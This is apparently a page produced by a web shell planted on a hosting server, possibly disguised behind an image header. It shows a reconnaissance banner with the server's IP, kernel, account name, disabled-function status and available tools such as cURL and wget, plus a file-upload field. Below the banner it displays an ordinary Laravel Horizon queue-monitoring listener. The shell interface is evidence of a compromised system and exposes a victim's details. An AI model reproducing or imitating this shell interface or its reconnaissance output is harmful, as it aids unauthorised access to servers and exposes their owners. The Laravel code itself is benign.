����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.170 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/./././www/vendor/laravel/horizon/src/Listeners/ |
Upload File : |
<?php
namespace Laravel\Horizon\Listeners;
use Carbon\CarbonImmutable;
use Laravel\Horizon\Contracts\MetricsRepository;
use Laravel\Horizon\Events\LongWaitDetected;
use Laravel\Horizon\Events\SupervisorLooped;
use Laravel\Horizon\WaitTimeCalculator;
class MonitorWaitTimes
{
/**
* The metrics repository implementation.
*
* @var \Laravel\Horizon\Contracts\MetricsRepository
*/
public $metrics;
/**
* The time at which we last checked if monitoring was due.
*
* @var \Carbon\CarbonImmutable
*/
public $lastMonitored;
/**
* Create a new listener instance.
*
* @param \Laravel\Horizon\Contracts\MetricsRepository $metrics
* @return void
*/
public function __construct(MetricsRepository $metrics)
{
$this->metrics = $metrics;
}
/**
* Handle the event.
*
* @param \Laravel\Horizon\Events\SupervisorLooped $event
* @return void
*/
public function handle(SupervisorLooped $event)
{
if (! $this->dueToMonitor()) {
return;
}
// Here we will calculate the wait time in seconds for each of the queues that
// the application is working. Then, we will filter the results to find the
// queues with the longest wait times and raise events for each of these.
$results = app(WaitTimeCalculator::class)->calculate();
$long = collect($results)->filter(function ($wait, $queue) {
return $wait > (config("horizon.waits.{$queue}") ?? 60);
});
// Once we have determined which queues have long wait times we will raise the
// events for each of the queues. We'll need to separate the connection and
// queue names into their own strings before we will fire off the events.
$long->each(function ($wait, $queue) {
[$connection, $queue] = explode(':', $queue, 2);
event(new LongWaitDetected($connection, $queue, $wait));
});
}
/**
* Determine if monitoring is due.
*
* @return bool
*/
protected function dueToMonitor()
{
// We will keep track of the amount of time between attempting to acquire the
// lock to monitor the wait times. We only want a single supervisor to run
// the checks on a given interval so that we don't fire too many events.
if (! $this->lastMonitored) {
$this->lastMonitored = CarbonImmutable::now();
}
if (! $this->timeToMonitor()) {
return false;
}
// Next we will update the monitor timestamp and attempt to acquire a lock to
// check the wait times. We use Redis to do it in order to have the atomic
// operation required. This will avoid any deadlocks or race conditions.
$this->lastMonitored = CarbonImmutable::now();
return $this->metrics->acquireWaitTimeMonitorLock();
}
/**
* Determine if enough time has elapsed to attempt to monitor.
*
* @return bool
*/
protected function timeToMonitor()
{
return CarbonImmutable::now()->subMinutes(1)->lte($this->lastMonitored);
}
}